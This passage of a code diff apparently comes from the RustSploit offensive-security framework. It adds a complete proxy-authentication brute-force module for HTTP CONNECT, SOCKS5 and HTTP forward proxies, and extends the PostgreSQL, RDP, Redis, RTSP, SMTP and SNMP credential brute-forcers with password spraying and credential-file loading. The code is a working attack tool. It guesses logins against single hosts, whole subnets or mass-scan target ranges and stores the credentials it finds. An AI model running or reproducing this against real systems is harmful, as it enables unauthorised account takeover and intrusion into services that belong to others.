if let Err(e) = stream.flush() { eprintln!("[!] Flush error: {}", e); }
if let Err(e) = stream.flush() { crate::meprintln!("[!] Flush error: {}", e); }
return Ok(true);
}
@@ -21,7 +21,8 @@ use tokio::io::{AsyncReadExt, AsyncWriteExt};
use tokio::net::TcpStream;
use crate::modules::creds::utils::{
generate_combos, is_mass_scan_target, is_subnet_target, run_bruteforce, run_mass_scan,
generate_combos_mode, parse_combo_mode, load_credential_file,
is_mass_scan_target, is_subnet_target, run_bruteforce, run_mass_scan,
run_subnet_bruteforce, BruteforceConfig, LoginResult, MassScanConfig, SubnetScanConfig,
};
use crate::utils::{
@@ -164,6 +165,7 @@ pub async fn run(target: &str) -> Result<()> {
verbose,
output_file,
service_name: "postgresql",
jitter_ms: 0,
source_module: "creds/generic/postgres_bruteforce",
skip_tcp_check: false,
},
@@ -234,12 +236,7 @@ pub async fn run(target: &str) -> Result<()> {
None
};
let verbose = cfg_prompt_yes_no("verbose", "Verbose mode?", false).await?;
let combo_mode = cfg_prompt_yes_no(
"combo_mode",
"Combination mode? (try every pass with every user)",
false,
)
.await?;
let combo_input = cfg_prompt_default("combo_mode", "Combo mode (linear/combo/spray)", "combo").await?;
let retry_on_error =
cfg_prompt_yes_no("retry_on_error", "Retry on connection errors?", true).await?;
@@ -304,7 +301,11 @@ pub async fn run(target: &str) -> Result<()> {
return Err(anyhow!("No passwords available"));
}
let combos = generate_combos(&usernames, &passwords, combo_mode);
let mut combos = generate_combos_mode(&usernames, &passwords, parse_combo_mode(&combo_input));
if cfg_prompt_yes_no("cred_file", "Load additional user:pass combos from file?", false).await? {
let cred_path = cfg_prompt_existing_file("cred_file_path", "Credential file (user:pass per line)").await?;
combos.extend(load_credential_file(&cred_path)?);
}
crate::mprintln!(
"\n{}",
@@ -349,6 +350,7 @@ pub async fn run(target: &str) -> Result<()> {
delay_ms: 0,
max_retries,
service_name: "postgresql",
jitter_ms: 0,
source_module: "creds/generic/postgres_bruteforce",
},
combos,
@@ -546,15 +548,9 @@ async fn read_pg_message(stream: &mut TcpStream) -> Result<(u8, Vec<u8>)> {
/// Attempt PostgreSQL authentication against a target address.
async fn try_pg_auth(addr: &str, username: &str, password: &str, database: &str) -> PgResult {
// TCP connect with timeout
let mut stream = match tokio::time::timeout(
Duration::from_millis(CONNECT_TIMEOUT_MS),
TcpStream::connect(addr),
)
.await
{
Ok(Ok(s)) => s,
Ok(Err(e)) => return PgResult::ConnectionError(format!("Connect failed: {}", e)),
Err(_) => return PgResult::ConnectionError("Connection timeout".to_string()),
let mut stream = match crate::utils::network::tcp_connect(addr, Duration::from_millis(CONNECT_TIMEOUT_MS)).await {
Ok(s) => s,
Err(e) => return PgResult::ConnectionError(format!("Connect failed: {}", e)),
};
// Send StartupMessage
@@ -0,0 +1,381 @@
//! Proxy Authentication Bruteforce Module
//!
//! Bruteforces authenticated proxies: HTTP CONNECT (Basic/Digest),
//! SOCKS5 username/password, and HTTP forward proxies.
//!
//! FOR AUTHORIZED PENETRATION TESTING ONLY.
use anyhow::{anyhow, Result};
use colored::*;
use std::net::IpAddr;
use std::sync::Arc;
use std::time::Duration;
use base64::Engine as _;
use tokio::io::{AsyncReadExt, AsyncWriteExt};
use crate::utils::{
cfg_prompt_default, cfg_prompt_existing_file, cfg_prompt_int_range,
cfg_prompt_output_file, cfg_prompt_port, cfg_prompt_yes_no,
load_lines, normalize_target,
};
use crate::modules::creds::utils::{
generate_combos_mode, parse_combo_mode, load_credential_file,
BruteforceConfig, LoginResult, SubnetScanConfig,
run_bruteforce, run_subnet_bruteforce,
is_mass_scan_target, is_subnet_target, run_mass_scan, MassScanConfig,
};
pub fn info() -> crate::module_info::ModuleInfo {
crate::module_info::ModuleInfo {
name: "Proxy Bruteforce".to_string(),
description: "Bruteforces proxy authentication for HTTP CONNECT (Basic auth), SOCKS5 (username/password), and HTTP forward proxies. Supports combo, spray, and credential file modes.".to_string(),
authors: vec!["RustSploit Contributors".to_string()],
references: vec![],
disclosure_date: None,
rank: crate::module_info::ModuleRank::Normal,
}
}
// ============================================================================
// PROXY AUTH TYPES
// ============================================================================
#[derive(Clone, Copy, Debug)]
enum ProxyType {
HttpConnect,
Socks5,
HttpForward,
}
impl ProxyType {
fn from_str(s: &str) -> Self {
match s.trim().to_lowercase().as_str() {
"socks5" | "socks" => Self::Socks5,
"http_forward" | "forward" | "transparent" => Self::HttpForward,
_ => Self::HttpConnect,
}
}
fn name(&self) -> &'static str {
match self {
Self::HttpConnect => "HTTP CONNECT",
Self::Socks5 => "SOCKS5",
Self::HttpForward => "HTTP Forward",
}
}
fn default_port(&self) -> u16 {
match self {
Self::HttpConnect => 8080,
Self::Socks5 => 1080,
Self::HttpForward => 3128,
}
}
}
// ============================================================================
// AUTH ATTEMPTS
// ============================================================================
/// Try HTTP CONNECT proxy with Basic auth.
async fn try_http_connect_auth(
target: &str, port: u16, user: &str, pass: &str, timeout_ms: u64,
) -> LoginResult {
let addr = format!("{}:{}", target, port);
let dur = Duration::from_millis(timeout_ms);
let stream = match crate::utils::network::tcp_connect(&addr, dur).await {
Ok(s) => s,
Err(e) => return LoginResult::Error { message: e.to_string(), retryable: true },
};
let mut stream = stream;
// Basic auth header
let cred = base64::engine::general_purpose::STANDARD.encode(format!("{}:{}", user, pass));
let req = format!(
"CONNECT httpbin.org:80 HTTP/1.1\r\nHost: httpbin.org\r\nProxy-Authorization: Basic {}\r\n\r\n",
cred
);
if let Err(e) = tokio::time::timeout(dur, stream.write_all(req.as_bytes())).await {
return LoginResult::Error { message: format!("Write timeout: {}", e), retryable: true };
}
let mut buf = [0u8; 1024];
let n = match tokio::time::timeout(dur, stream.read(&mut buf)).await {
Ok(Ok(n)) if n > 0 => n,
Ok(Ok(_)) => return LoginResult::Error { message: "Empty response".to_string(), retryable: false },
Ok(Err(e)) => return LoginResult::Error { message: e.to_string(), retryable: true },
Err(_) => return LoginResult::Error { message: "Read timeout".to_string(), retryable: true },
};
let resp = String::from_utf8_lossy(&buf[..n]);
if resp.contains("200") {
LoginResult::Success
} else if resp.contains("407") || resp.contains("401") || resp.contains("403") {
LoginResult::AuthFailed
} else {
LoginResult::Error { message: format!("Unexpected: {}", resp.lines().next().unwrap_or("")), retryable: false }
}
}
/// Try SOCKS5 proxy with username/password auth (RFC 1929).
async fn try_socks5_auth(
target: &str, port: u16, user: &str, pass: &str, timeout_ms: u64,
) -> LoginResult {
let addr = format!("{}:{}", target, port);
let dur = Duration::from_millis(timeout_ms);
let mut stream = match crate::utils::network::tcp_connect(&addr, dur).await {
Ok(s) => s,
Err(e) => return LoginResult::Error { message: e.to_string(), retryable: true },
};
// SOCKS5 greeting: version 5, 1 method, username/password (0x02)
if tokio::time::timeout(dur, stream.write_all(&[0x05, 0x01, 0x02])).await.is_err() {
return LoginResult::Error { message: "Greeting timeout".to_string(), retryable: true };
}
let mut buf = [0u8; 2];
match tokio::time::timeout(dur, stream.read_exact(&mut buf)).await {
Ok(Ok(_)) => {}
_ => return LoginResult::Error { message: "Greeting response timeout".to_string(), retryable: true },
}
if buf[0] != 0x05 {
return LoginResult::Error { message: "Not SOCKS5".to_string(), retryable: false };
}
if buf[1] != 0x02 {
return LoginResult::Error { message: format!("Auth method {} not user/pass", buf[1]), retryable: false };
}
// RFC 1929 username/password auth
let user_bytes = user.as_bytes();
let pass_bytes = pass.as_bytes();
if user_bytes.len() > 255 || pass_bytes.len() > 255 {
return LoginResult::Error { message: "Credentials too long (max 255 bytes each)".to_string(), retryable: false };
}
let mut auth_pkt = vec![0x01u8]; // version
auth_pkt.push(user_bytes.len() as u8);
auth_pkt.extend_from_slice(user_bytes);
auth_pkt.push(pass_bytes.len() as u8);
auth_pkt.extend_from_slice(pass_bytes);
if tokio::time::timeout(dur, stream.write_all(&auth_pkt)).await.is_err() {
return LoginResult::Error { message: "Auth write timeout".to_string(), retryable: true };
}
let mut resp = [0u8; 2];
match tokio::time::timeout(dur, stream.read_exact(&mut resp)).await {
Ok(Ok(_)) => {}
_ => return LoginResult::Error { message: "Auth response timeout".to_string(), retryable: true },
}
if resp[1] == 0x00 {
LoginResult::Success
} else {
LoginResult::AuthFailed
}
}
/// Try HTTP forward proxy with Basic auth.
async fn try_http_forward_auth(
target: &str, port: u16, user: &str, pass: &str, timeout_ms: u64,
) -> LoginResult {
let addr = format!("{}:{}", target, port);
let dur = Duration::from_millis(timeout_ms);
let mut stream = match crate::utils::network::tcp_connect(&addr, dur).await {
Ok(s) => s,
Err(e) => return LoginResult::Error { message: e.to_string(), retryable: true },
};
let cred = base64::engine::general_purpose::STANDARD.encode(format!("{}:{}", user, pass));
let req = format!(
"GET http://httpbin.org/ip HTTP/1.1\r\nHost: httpbin.org\r\nProxy-Authorization: Basic {}\r\nConnection: close\r\n\r\n",
cred
);
if tokio::time::timeout(dur, stream.write_all(req.as_bytes())).await.is_err() {
return LoginResult::Error { message: "Write timeout".to_string(), retryable: true };
}
let mut buf = [0u8; 2048];
let n = match tokio::time::timeout(dur, stream.read(&mut buf)).await {
Ok(Ok(n)) if n > 0 => n,
_ => return LoginResult::Error { message: "Read timeout".to_string(), retryable: true },
};
let resp = String::from_utf8_lossy(&buf[..n]);
if resp.contains("200") && resp.contains("origin") {
LoginResult::Success
} else if resp.contains("407") || resp.contains("401") || resp.contains("403") {
LoginResult::AuthFailed
} else {
LoginResult::Error { message: format!("HTTP {}", resp.lines().next().unwrap_or("")), retryable: false }
}
}
/// Dispatch to the right auth function based on proxy type.
async fn try_proxy_auth(
proxy_type: ProxyType, target: &str, port: u16, user: &str, pass: &str, timeout_ms: u64,
) -> LoginResult {
match proxy_type {
ProxyType::HttpConnect => try_http_connect_auth(target, port, user, pass, timeout_ms).await,
ProxyType::Socks5 => try_socks5_auth(target, port, user, pass, timeout_ms).await,
ProxyType::HttpForward => try_http_forward_auth(target, port, user, pass, timeout_ms).await,
}
}
// ============================================================================
// MAIN
// ============================================================================
fn display_banner() {
crate::mprintln!("{}", "+=================================================================+".cyan());
crate::mprintln!("{}", "| Proxy Authentication Bruteforce |".cyan());
crate::mprintln!("{}", "| HTTP CONNECT (Basic) | SOCKS5 (RFC 1929) | HTTP Forward |".cyan());
crate::mprintln!("{}", "+=================================================================+".cyan());
crate::mprintln!();
}
pub async fn run(target: &str) -> Result<()> {
// --- Mass scan ---
if is_mass_scan_target(target) {
let proxy_type_input = cfg_prompt_default("proxy_type", "Proxy type (http_connect/socks5/http_forward)", "http_connect").await?;
let proxy_type = ProxyType::from_str(&proxy_type_input);
let users_file = cfg_prompt_existing_file("username_wordlist", "Username wordlist").await?;
let pass_file = cfg_prompt_existing_file("password_wordlist", "Password wordlist").await?;
let users = Arc::new(load_lines(&users_file)?);
let passes = Arc::new(load_lines(&pass_file)?);
if users.is_empty() { return Err(anyhow!("Username list empty")); }
if passes.is_empty() { return Err(anyhow!("Password list empty")); }
return run_mass_scan(target, MassScanConfig {
protocol_name: "Proxy",
default_port: proxy_type.default_port(),
state_file: "proxy_brute_mass_state.log",
default_output: "proxy_brute_mass_results.txt",
default_concurrency: 200,
}, move |ip: IpAddr, port: u16| {
let users = users.clone();
let passes = passes.clone();
async move {
// Quick connectivity check
if !crate::utils::tcp_port_open(ip, port, Duration::from_secs(3)).await {
return None;
}
let t = ip.to_string();
for user in users.iter() {
for pass in passes.iter() {
match try_proxy_auth(proxy_type, &t, port, user, pass, 5000).await {
LoginResult::Success => {
let ts = chrono::Local::now().format("%Y-%m-%d %H:%M:%S");
let msg = format!("[{}] {}:{} {} auth: {}:{}", ts, ip, port, proxy_type.name(), user, pass);
crate::mprintln!("\r{}", format!("[+] FOUND: {}:{} {}:{}", ip, port, user, pass).green().bold());
crate::cred_store::store_credential(
&t, port, &format!("proxy-{}", proxy_type.name().to_lowercase()),
user, pass, crate::cred_store::CredType::Password,
"creds/generic/proxy_bruteforce",
).await;
return Some(format!("{}\n", msg));
}
LoginResult::AuthFailed => continue,
LoginResult::Error { .. } => break, // host issue, skip
}
}
}
None
}
}).await;
}
// --- Subnet scan ---
if is_subnet_target(target) {
let proxy_type_input = cfg_prompt_default("proxy_type", "Proxy type (http_connect/socks5/http_forward)", "http_connect").await?;
let proxy_type = ProxyType::from_str(&proxy_type_input);
let port = cfg_prompt_port("port", &format!("{} port", proxy_type.name()), proxy_type.default_port()).await?;
let users_file = cfg_prompt_existing_file("username_wordlist", "Username wordlist").await?;
let pass_file = cfg_prompt_existing_file("password_wordlist", "Password wordlist").await?;
let users = load_lines(&users_file)?;
let passes = load_lines(&pass_file)?;
if users.is_empty() { return Err(anyhow!("Username list empty")); }
if passes.is_empty() { return Err(anyhow!("Password list empty")); }
let concurrency = cfg_prompt_int_range("concurrency", "Concurrent hosts", 50, 1, 500).await? as usize;
let verbose = cfg_prompt_yes_no("verbose", "Verbose output?", false).await?;
let output_file = cfg_prompt_output_file("output_file", "Output file", "proxy_brute_subnet.txt").await?;
return run_subnet_bruteforce(target, port, users, passes, &SubnetScanConfig {
concurrency,
verbose,
output_file,
service_name: "proxy",
jitter_ms: 0,
source_module: "creds/generic/proxy_bruteforce",
skip_tcp_check: false,
}, move |ip: IpAddr, port: u16, user: String, pass: String| {
async move {
try_proxy_auth(proxy_type, &ip.to_string(), port, &user, &pass, 5000).await
}
}).await;
}
// --- Single target ---
display_banner();
let proxy_type_input = cfg_prompt_default("proxy_type", "Proxy type (http_connect/socks5/http_forward)", "http_connect").await?;
let proxy_type = ProxyType::from_str(&proxy_type_input);
let normalized = normalize_target(target)?;
let port = cfg_prompt_port("port", &format!("{} port", proxy_type.name()), proxy_type.default_port()).await?;
let users_file = cfg_prompt_existing_file("username_wordlist", "Username wordlist").await?;
let pass_file = cfg_prompt_existing_file("password_wordlist", "Password wordlist").await?;
let usernames = load_lines(&users_file)?;
let passwords = load_lines(&pass_file)?;
if usernames.is_empty() { return Err(anyhow!("Username list empty")); }
if passwords.is_empty() { return Err(anyhow!("Password list empty")); }
let combo_input = cfg_prompt_default("combo_mode", "Combo mode (linear/combo/spray)", "combo").await?;
let mut combos = generate_combos_mode(&usernames, &passwords, parse_combo_mode(&combo_input));
if cfg_prompt_yes_no("cred_file", "Load additional user:pass combos from file?", false).await? {
let cred_path = cfg_prompt_existing_file("cred_file_path", "Credential file (user:pass per line)").await?;
combos.extend(load_credential_file(&cred_path)?);
}
let concurrency = cfg_prompt_int_range("concurrency", "Concurrent attempts", 10, 1, 100).await? as usize;
let stop_on_success = cfg_prompt_yes_no("stop_on_success", "Stop on first valid credential?", true).await?;
let verbose = cfg_prompt_yes_no("verbose", "Verbose output?", false).await?;
let save_path = cfg_prompt_output_file("output_file", "Output file", "proxy_brute_results.txt").await?;
let timeout_ms: u64 = cfg_prompt_default("timeout", "Timeout (ms)", "5000").await?.parse().unwrap_or(5000);
crate::mprintln!("[*] Proxy: {} on {}:{}", proxy_type.name().cyan(), normalized, port);
crate::mprintln!("[*] Combos: {}", combos.len());
crate::mprintln!();
let result = run_bruteforce(
&BruteforceConfig {
target: normalized,
port,
concurrency,
stop_on_success,
verbose,
delay_ms: 0,
jitter_ms: 0,
max_retries: 2,
service_name: "proxy",
source_module: "creds/generic/proxy_bruteforce",
},
combos,
move |target: String, port: u16, user: String, pass: String| {
async move {
try_proxy_auth(proxy_type, &target, port, &user, &pass, timeout_ms).await
}
},
).await?;
result.print_found();
result.save_to_file(&save_path)?;
Ok(())
}
+10 -8
View File
@@ -6,7 +6,8 @@ use tokio::time::Duration;
use crate::native::rdp as rdp_native;
use crate::modules::creds::utils::{
generate_combos, is_mass_scan_target, is_subnet_target, run_bruteforce, run_mass_scan,
generate_combos_mode, parse_combo_mode, load_credential_file,
is_mass_scan_target, is_subnet_target, run_bruteforce, run_mass_scan,
run_subnet_bruteforce, BruteforceConfig, LoginResult, MassScanConfig, SubnetScanConfig,
};
use crate::utils::{
@@ -307,12 +308,7 @@ pub async fn run(target: &str) -> Result<()> {
};
let verbose = cfg_prompt_yes_no("verbose", "Verbose mode?", false).await?;
let combo_mode = cfg_prompt_yes_no(
"combo_mode",
"Combination mode? (try every password with every user)",
false,
)
.await?;
let combo_input = cfg_prompt_default("combo_mode", "Combo mode (linear/combo/spray)", "combo").await?;
// Determine streaming vs. memory-loaded mode for large wordlists
let use_streaming = should_use_streaming(&passwords_file_path)?;
@@ -371,7 +367,11 @@ pub async fn run(target: &str) -> Result<()> {
}
crate::mprintln!("[*] Loaded {} passwords", passwords.len());
let combos = generate_combos(&usernames, &passwords, combo_mode);
let mut combos = generate_combos_mode(&usernames, &passwords, parse_combo_mode(&combo_input));
if cfg_prompt_yes_no("cred_file", "Load additional user:pass combos from file?", false).await? {
let cred_path = cfg_prompt_existing_file("cred_file_path", "Credential file (user:pass per line)").await?;
combos.extend(load_credential_file(&cred_path)?);
}
crate::mprintln!("{}", format!("[*] Total attempts: {}", combos.len()).cyan());
// Free original vecs since combos now owns the data
@@ -390,6 +390,7 @@ pub async fn run(target: &str) -> Result<()> {
delay_ms: 0,
max_retries: 2,
service_name: "rdp",
jitter_ms: 0,
source_module: "creds/generic/rdp_bruteforce",
};
@@ -452,6 +453,7 @@ async fn run_subnet_scan(target: &str) -> Result<()> {
verbose,
output_file,
service_name: "rdp",
jitter_ms: 0,
source_module: "creds/generic/rdp_bruteforce",
skip_tcp_check: false,
};
+31 -14
View File
@@ -5,12 +5,13 @@ use std::net::IpAddr;
use std::time::Duration;
use crate::utils::{
load_lines, get_filename_in_current_dir, cfg_prompt_yes_no, cfg_prompt_existing_file, cfg_prompt_int_range,
load_lines, get_filename_in_current_dir, cfg_prompt_default, cfg_prompt_yes_no, cfg_prompt_existing_file, cfg_prompt_int_range,
cfg_prompt_output_file,
};
use crate::modules::creds::utils::{
BruteforceConfig, LoginResult, SubnetScanConfig,
generate_combos, run_bruteforce, run_subnet_bruteforce,
generate_combos_mode, parse_combo_mode, load_credential_file,
run_bruteforce, run_subnet_bruteforce,
is_subnet_target, is_mass_scan_target, run_mass_scan, MassScanConfig,
};
@@ -287,6 +288,7 @@ pub async fn run(target: &str) -> Result<()> {
verbose,
output_file,
service_name: "redis",
jitter_ms: 0,
source_module: "creds/generic/redis_bruteforce",
skip_tcp_check: false,
}, move |ip: IpAddr, port: u16, user: String, pass: String| {
@@ -353,7 +355,7 @@ pub async fn run(target: &str) -> Result<()> {
None
};
let verbose = cfg_prompt_yes_no("verbose", "Verbose mode?", false).await?;
let combo_mode = cfg_prompt_yes_no("combo_mode", "Combination mode? (try every pass with every user)", false).await?;
let combo_input = cfg_prompt_default("combo_mode", "Combo mode (linear/combo/spray)", "combo").await?;
crate::mprintln!("\n{}", format!("[*] Starting brute-force on {}:{}", target, port).cyan());
@@ -417,7 +419,11 @@ pub async fn run(target: &str) -> Result<()> {
return Err(anyhow!("No passwords available"));
}
let combos = generate_combos(&usernames, &passwords, combo_mode);
let mut combos = generate_combos_mode(&usernames, &passwords, parse_combo_mode(&combo_input));
if cfg_prompt_yes_no("cred_file", "Load additional user:pass combos from file?", false).await? {
let cred_path = cfg_prompt_existing_file("cred_file_path", "Credential file (user:pass per line)").await?;
combos.extend(load_credential_file(&cred_path)?);
}
let try_login = move |t: String, p: u16, user: String, pass: String| {
async move {
@@ -448,6 +454,7 @@ pub async fn run(target: &str) -> Result<()> {
delay_ms: 0,
max_retries,
service_name: "redis",
jitter_ms: 0,
source_module: "creds/generic/redis_bruteforce",
}, combos, try_login).await?;
@@ -536,7 +543,7 @@ fn redis_ping(target: &str, port: u16, timeout_secs: u64) -> std::result::Result
stream.set_read_timeout(Some(timeout)).map_err(|e| RedisError::from_anyhow(e.into()))?;
stream.set_write_timeout(Some(timeout)).map_err(|e| RedisError::from_anyhow(e.into()))?;
stream.write_all(b"PING\r\n")
stream.write_all(&resp_cmd(&[b"PING"]))
.map_err(|e| RedisError::from_anyhow(e.into()))?;
let mut buffer = [0u8; 1024];
@@ -556,9 +563,19 @@ fn redis_ping(target: &str, port: u16, timeout_secs: u64) -> std::result::Result
}
}
/// Attempt Redis AUTH login.
/// In ACL mode: sends `AUTH username password\r\n`
/// In legacy mode: sends `AUTH password\r\n`
/// Build a RESP (REdis Serialization Protocol) array command.
/// Length-prefixed format prevents injection even if args contain \r\n.
fn resp_cmd(args: &[&[u8]]) -> Vec<u8> {
let mut cmd = format!("*{}\r\n", args.len()).into_bytes();
for arg in args {
cmd.extend_from_slice(format!("${}\r\n", arg.len()).as_bytes());
cmd.extend_from_slice(arg);
cmd.extend_from_slice(b"\r\n");
}
cmd
}
/// Attempt Redis AUTH login using safe RESP protocol framing.
/// Returns Ok(true) on +OK, Ok(false) on -ERR, Err on connection issues.
/// On success, also sends INFO server to gather version info.
fn attempt_redis_login(
@@ -586,14 +603,14 @@ fn attempt_redis_login(
stream.set_read_timeout(Some(timeout)).map_err(|e| RedisError::from_anyhow(e.into()))?;
stream.set_write_timeout(Some(timeout)).map_err(|e| RedisError::from_anyhow(e.into()))?;
// Build AUTH command
// Build AUTH command using RESP array format (injection-safe)
let auth_cmd = if acl_mode {
format!("AUTH {} {}\r\n", user, pass)
resp_cmd(&[b"AUTH", user.as_bytes(), pass.as_bytes()])
} else {
format!("AUTH {}\r\n", pass)
resp_cmd(&[b"AUTH", pass.as_bytes()])
};
stream.write_all(auth_cmd.as_bytes())
stream.write_all(&auth_cmd)
.map_err(|e| RedisError::from_anyhow(e.into()))?;
let mut buffer = [0u8; 2048];
@@ -603,7 +620,7 @@ fn attempt_redis_login(
if response.contains("+OK") {
// Auth succeeded — gather server info
if stream.write_all(b"INFO server\r\n").is_ok() {
if stream.write_all(&resp_cmd(&[b"INFO", b"server"])).is_ok() {
let mut info_buf = [0u8; 4096];
if let Ok(info_n) = stream.read(&mut info_buf) {
let info_response = String::from_utf8_lossy(&info_buf[..info_n]);
@@ -620,7 +637,7 @@ fn attempt_redis_login(
}
}
// Clean disconnect
if let Err(e) = stream.write_all(b"QUIT\r\n") { crate::meprintln!("[!] Redis QUIT write error: {}", e); }
if let Err(e) = stream.write_all(&resp_cmd(&[b"QUIT"])) { crate::meprintln!("[!] Redis QUIT write error: {}", e); }
return Ok(true);
}
+13 -24
View File
@@ -9,12 +9,12 @@ use std::{
};
use tokio::{
io::{AsyncReadExt, AsyncWriteExt},
net::TcpStream,
time::timeout,
};
use crate::modules::creds::utils::{
generate_combos, is_mass_scan_target, is_subnet_target, run_bruteforce, run_mass_scan,
generate_combos_mode, parse_combo_mode, load_credential_file,
is_mass_scan_target, is_subnet_target, run_bruteforce, run_mass_scan,
run_subnet_bruteforce, BruteforceConfig, LoginResult, MassScanConfig, SubnetScanConfig,
};
use crate::utils::{
@@ -184,12 +184,7 @@ pub async fn run(target: &str) -> Result<()> {
None
};
let verbose = cfg_prompt_yes_no("verbose", "Verbose mode?", false).await?;
let combo_mode = cfg_prompt_yes_no(
"combo_mode",
"Combination mode? (try every pass with every user)",
false,
)
.await?;
let combo_input = cfg_prompt_default("combo_mode", "Combo mode (linear/combo/spray)", "combo").await?;
let advanced_mode = cfg_prompt_yes_no(
"advanced_mode",
@@ -292,7 +287,11 @@ pub async fn run(target: &str) -> Result<()> {
}
};
let combos = generate_combos(&users, &pass_lines, combo_mode);
let mut combos = generate_combos_mode(&users, &pass_lines, parse_combo_mode(&combo_input));
if cfg_prompt_yes_no("cred_file", "Load additional user:pass combos from file?", false).await? {
let cred_path = cfg_prompt_existing_file("cred_file_path", "Credential file (user:pass per line)").await?;
combos.extend(load_credential_file(&cred_path)?);
}
crate::mprintln!(
"{}",
format!(
@@ -364,6 +363,7 @@ pub async fn run(target: &str) -> Result<()> {
delay_ms: 10,
max_retries: 2,
service_name: "rtsp",
jitter_ms: 0,
source_module: "creds/generic/rtsp_bruteforce",
},
combos.clone(),
@@ -484,6 +484,7 @@ async fn run_subnet_scan(target: &str) -> Result<()> {
verbose,
output_file: output_file.clone(),
service_name: "rtsp",
jitter_ms: 0,
source_module: "creds/generic/rtsp_bruteforce",
skip_tcp_check: false,
},
@@ -579,28 +580,16 @@ async fn try_rtsp_login(
// Try each candidate address
for sa in addrs {
match timeout(
Duration::from_millis(CONNECT_TIMEOUT_MS),
TcpStream::connect(*sa),
)
.await
{
Ok(Ok(s)) => {
match crate::utils::network::tcp_connect_addr(*sa, Duration::from_millis(CONNECT_TIMEOUT_MS)).await {
Ok(s) => {
stream = Some(s);
connected_sa = Some(*sa);
break;
}
Ok(Err(e)) => {
Err(e) => {
last_err = Some(e);
continue;
}
Err(_) => {
last_err = Some(std::io::Error::new(
std::io::ErrorKind::TimedOut,
"Connect timeout",
));
continue;
}
}
}
+23 -11
View File
@@ -7,13 +7,18 @@ use std::time::Duration;
use std::io::{BufRead, BufReader, Write};
use base64::{engine::general_purpose, Engine as _};
/// Default SMTP timeout in milliseconds (10 seconds).
/// Real SMTP servers often do reverse DNS lookups on connect, taking 5-10s.
const DEFAULT_TIMEOUT_MS: u64 = 10_000;
use crate::utils::{
load_lines,
cfg_prompt_yes_no, cfg_prompt_existing_file, cfg_prompt_int_range, cfg_prompt_output_file,
cfg_prompt_default, cfg_prompt_yes_no, cfg_prompt_existing_file, cfg_prompt_int_range, cfg_prompt_output_file,
};
use crate::modules::creds::utils::{
BruteforceConfig, LoginResult, SubnetScanConfig,
generate_combos, run_bruteforce, run_subnet_bruteforce,
generate_combos_mode, parse_combo_mode, load_credential_file,
run_bruteforce, run_subnet_bruteforce,
is_subnet_target, is_mass_scan_target, run_mass_scan, MassScanConfig,
};
@@ -68,7 +73,7 @@ pub async fn run(target: &str) -> Result<()> {
let u = user.clone();
let p = pass.clone();
let res = tokio::task::spawn_blocking(move || {
try_smtp_login(&t, port, &u, &p)
try_smtp_login(&t, port, &u, &p, DEFAULT_TIMEOUT_MS)
}).await;
match res {
@@ -113,13 +118,14 @@ pub async fn run(target: &str) -> Result<()> {
verbose,
output_file,
service_name: "smtp",
jitter_ms: 0,
source_module: "creds/generic/smtp_bruteforce",
skip_tcp_check: false,
}, move |ip: IpAddr, port: u16, user: String, pass: String| {
async move {
let target_str = ip.to_string();
let res = tokio::task::spawn_blocking(move || {
try_smtp_login(&target_str, port, &user, &pass)
try_smtp_login(&target_str, port, &user, &pass, DEFAULT_TIMEOUT_MS)
}).await;
match res {
Ok(Ok(true)) => LoginResult::Success,
@@ -146,7 +152,7 @@ pub async fn run(target: &str) -> Result<()> {
let delay_ms = cfg_prompt_int_range("delay_ms", "Delay (ms)", 50, 0, 10000).await? as u64;
let stop_on_success = cfg_prompt_yes_no("stop_on_success", "Stop on first valid login?", true).await?;
let combo_mode = cfg_prompt_yes_no("combo_mode", "Try every username with every password?", false).await?;
let combo_input = cfg_prompt_default("combo_mode", "Combo mode (linear/combo/spray)", "combo").await?;
let verbose = cfg_prompt_yes_no("verbose", "Verbose mode?", false).await?;
let output_file = cfg_prompt_output_file("output_file", "Output file for results", "smtp_results.txt").await?;
@@ -157,12 +163,16 @@ pub async fn run(target: &str) -> Result<()> {
}
crate::mprintln!("[*] Loaded {} usernames, {} passwords", usernames.len(), passwords.len());
let combos = generate_combos(&usernames, &passwords, combo_mode);
let mut combos = generate_combos_mode(&usernames, &passwords, parse_combo_mode(&combo_input));
if cfg_prompt_yes_no("cred_file", "Load additional user:pass combos from file?", false).await? {
let cred_path = cfg_prompt_existing_file("cred_file_path", "Credential file (user:pass per line)").await?;
combos.extend(load_credential_file(&cred_path)?);
}
let try_login = move |target: String, port: u16, user: String, pass: String| {
async move {
let res = tokio::task::spawn_blocking(move || {
try_smtp_login(&target, port, &user, &pass)
try_smtp_login(&target, port, &user, &pass, DEFAULT_TIMEOUT_MS)
}).await;
match res {
Ok(Ok(true)) => LoginResult::Success,
@@ -188,6 +198,7 @@ pub async fn run(target: &str) -> Result<()> {
delay_ms,
max_retries: 2,
service_name: "smtp",
jitter_ms: 0,
source_module: "creds/generic/smtp_bruteforce",
}, combos, try_login).await?;
@@ -208,13 +219,14 @@ fn read_smtp_line(reader: &mut BufReader<&TcpStream>) -> Result<String> {
Ok(line.trim_end().to_string())
}
fn try_smtp_login(target: &str, port: u16, username: &str, password: &str) -> Result<bool> {
fn try_smtp_login(target: &str, port: u16, username: &str, password: &str, timeout_ms: u64) -> Result<bool> {
let addr = format!("{}:{}", target, port);
let timeout = Duration::from_millis(timeout_ms);
let socket = addr.to_socket_addrs()?.next().ok_or_else(|| anyhow!("Resolution failed"))?;
let stream = crate::utils::blocking_tcp_connect(&socket, Duration::from_millis(2000))?;
let stream = crate::utils::blocking_tcp_connect(&socket, timeout)?;
if let Err(e) = stream.set_nodelay(true) { crate::meprintln!("[!] Socket option error: {}", e); }
stream.set_read_timeout(Some(Duration::from_millis(2000)))?;
stream.set_write_timeout(Some(Duration::from_millis(2000)))?;
stream.set_read_timeout(Some(timeout))?;
stream.set_write_timeout(Some(timeout))?;
let mut reader = BufReader::new(&stream);
// We write via a reference to the same stream (TcpStream is duplex)
+5 -2
View File
@@ -9,7 +9,8 @@ use std::{
use crate::modules::creds::utils::{
generate_combos, is_mass_scan_target, is_subnet_target, run_bruteforce, run_mass_scan,
generate_combos_mode, ComboMode,
is_mass_scan_target, is_subnet_target, run_bruteforce, run_mass_scan,
run_subnet_bruteforce, BruteforceConfig, LoginResult, MassScanConfig, SubnetScanConfig,
};
use crate::utils::{
@@ -146,7 +147,7 @@ pub async fn run(target: &str) -> Result<()> {
// Build combos: empty username, community string as password.
let empty_users = vec![String::new()];
let combos = generate_combos(&empty_users, &communities, true);
let combos = generate_combos_mode(&empty_users, &communities, ComboMode::Combo);
let config = BruteforceConfig {
target: norm_target.clone(),
@@ -157,6 +158,7 @@ pub async fn run(target: &str) -> Result<()> {
delay_ms: 10,
max_retries: 2,
service_name: "snmp",
jitter_ms: 0,
